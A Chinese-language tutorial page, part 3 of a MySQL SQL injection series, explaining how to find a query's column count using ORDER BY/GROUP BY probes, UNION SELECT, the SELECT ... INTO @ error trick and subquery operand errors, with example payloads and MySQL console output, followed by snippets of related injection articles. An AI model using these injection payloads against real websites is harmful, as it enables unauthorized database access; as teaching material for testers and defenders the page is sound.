sql注入知识库-mysql篇(3)

上接sql注入知识库-mysql篇(2)

表和字段

一、检测字段数量

order by/group  by

group by / order by +1 ;

备注:

order by 和 group by 都是用来根据字段排序用的

保持数字持续增加,直到得到一个错误响应

尽管group by 和 order by 在sql中是不同的功能,他们都可以用完全相同的方式确认查询的列数

examples:

Given the query SELECT username, password, permission FROM Users WHERE id = ‘{INJECTION POINT}‘;

1’ order by 1--+   true

还原一下 select username,password,permission from users where id = ‘1‘ order by 1 --+

从users表查询id = 1 的username , password permission 然后通过第一个字段(username)按照升序排列

1’ order by 2--+   true

。。。。

1’ order by 4--+   false 说明该表总共有3列

1‘ union select 1,2,3  true

基于错误1

group by 或 order by 1,2,3,4,5 ......

类似上面提到的方法,我们可以通过一个请求查看显错模式是否启动来判断字段数量

examples:

select * from student where id = 1 order by 1,2,3 ;  true

select * from student where id = 1 order by 1,2,3,4 ;  true

select * from student where id = 1 order by 1,2,3,4,5 ;  返回   ERROR 1054 (42S22): Unknown column ‘5‘ in ‘order clause‘

说明该表字段只有4列

select * from student where id = 1 group by 1,2,3,4,5 ;  返回   ERROR 1054 (42S22): Unknown column ‘5‘ in ‘group statement‘

说明该表字段只有4列

基于错误2

select  ... into var_list , var_list1 , var_list2 ....

1. 如果显错模式开启,这个方法可以正常工作

2. 是一个实用的用于查找字段数量的方法,当注入点后面存在一个limit子句的时候。

examples:

Given the query SELECT permission FROM Users WHERE id = {INJECTION POINT};

-1 union select 1 into @,@,@  The used SELECT statements have a different number of columns

-1 union select 1 into @   如果不报错说明查询的信息使用了一个

mysql> select name,id1 from student limit 1,1 into @;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select name,id1 from student limit 1,1 into @,@;
Query OK, 1 row affected (0.00 sec)

字段

实例

mysql> select name from student where id = -1 union select 1 into @;    可以看到该查询使用了name一个字段,所以后面用select 1 into @就不会报错
Query OK, 1 row affected (0.00 sec)

mysql> select name,id1 from student where id = -1 union select 1,2 into @,@;  这里使用了name和id1两个字段,所以后面相应的要使用1,2 into @,@ 不会报错
Query OK, 1 row affected (0.00 sec)

examples:

Given the query SELECT username, permission FROM Users limit 1,{INJECTION POINT};

1 into @,@,@    报错 The used SELECT statements have a different number of columns

1 into @,@        无报错说明查询的字段有2个

实例:

select name,id1 from student limit 1,1 into @;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
select name,id1 from student limit 1,1 into @,@;
Query OK, 1 row affected (0.00 sec)

limit用法:

limit 开始位置,取几条

select name,id from student limit 0,1;  从student表中取出第一条数据

select name,id from student limit 1,1;   从student表中取出第二条数据

select name,id from student limit 0,3;  从student表中取出3条数据,从第一条开始取

基于错误3

AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

备注:

工作在你知道表名但是没有启用错误回显的环境,它会返回字段数量

example:

Given the query SELECT permission FROM Users WHERE id = {INJECTION POINT};

1 and (select * from student) = 1

实例:
select name,id from student where id = 1 and (select * from student) = 1;

ERROR 1241 (21000): Operand should contain 4 column(s)

select name,id from student where id = 1 and (select * from student) = 2;
ERROR 1241 (21000): Operand should contain 4 column(s)

时间: 2024-10-17 21:12:26

sql注入知识库-mysql篇(3)的相关文章

sql注入知识库-mysql篇(2)

上接mysql篇(1) 测试数据库版本 1.使用自带函数 version() @@version @@global.version examples select version(); SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5'; mid() 用于截取字符串,用法  mid(字符串,起始位置,截取几个字符) 备注: 如果数据库运行在windows的机器上的话输出会带上-nt-log 2.使用特殊代码 1 /*!5

SQL注入之mysql显错注入

在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!. 图1 获取数据库失败 此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql

SQL注入(一) - 入门篇

http://blog.csdn.net/sony315/article/details/6877319 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉.否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息. 服务器安全管理员和攻击者的战争仿佛永远没有停止的时候,针对国内网站的ASP架构的SQL注入攻击又开始大行其道.本篇文章通过SQL注入攻击原理引

SQL注入(手工篇)

开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能,并导致查看.插入.删除数据库的数据,甚至可以执行主机系统命令. 1.可能出现asp?id=x的网站 只能是基于asp.PHP.jsp.aspx的动态网站,并且存在数据库交互,例:登陆.留言板.搜索.新闻.但是静态页面不可以,如html.htm. 2.漏洞测试 (1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入: (2)利用条件语句测试:利用SQL连接选项‘an

SQL注入之MySQL常用的查询语句

MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要. 首先来说下MySQL注入的相关知识点 在MySQL5.0版本之后,MySQL默认在数据库存放一个“information_schema”的数据库,在这个库中, SCHEMATA,TABLES和COLUMNS这三个表名是必须记住的. SCHEMATA表存储该用户创建的所有数据库的库名,在该表中记录数据库名的字段为SCEMA_NAME. TABLES表存储该用户创建的所有数据库的库名和表名,在该表

sql注入知识库-mysql篇(1)

Mysql 缺省数据库 information_schema   在5以上版本可用 mysql   需要root 权限 测试注入: false意味着查询不可用 true代表查询可用 字符型: 使用如下查询:select * from table where id = '1'; '  false '' true " false "" true \ false \\ true example: SELECT * FROM Articles WHERE id = '1'''; SE

SQL注入实战-MySQL

靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe 进入靶场详情页,点击启动靶场,根据系统提供的信息进入靶场环境. Php注入mysql查询语句,由地址中的"?id=MQo="可以看出,此处传递时用了base64编码,base64解码"id=MQo="为1,常用mysql注入语句: 这里仅列出常用的信息注入语句: 暴出字段数 order by x 利用内置函数暴出

sql注入之mysql的联合查询爆破

mysql的联合查询原理就是对mysql自带的系统表进行查询,因为系统表包含了所有数据库的属性.没有access表猜不出表名列名暴力破解的尴尬. 上图是我针对mysql的联合查询,画的系统表(系统数据库)的结构 以查询test数据库为例: 1.判断列数 union select 1,2,3,..........  直到页面返回正常为止 2.判断当前数据库 union select  database(),2,3,4,5   1的位置将会返回数据库的名字 数据库名 database() 数据库版本

网站mysql防止sql注入*** 3种方法总结

mysql数据库一直以来都遭受到sql注入***的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的***都是与sql注入***有关,那么mysql数据库如何防止sql注入呢?下面我们SINE安全技术针对于这个sql注入问题总结3种方案去防止sql注入***. sql注入产生的原因很简单,就是访问用户通过网站前端对网站可以输入参数的地方进行提交参数,参数里插入了一些恶意参数传入到服务器后端里去,服务器后端并没有对其进行详细的安全过滤,导致直接进入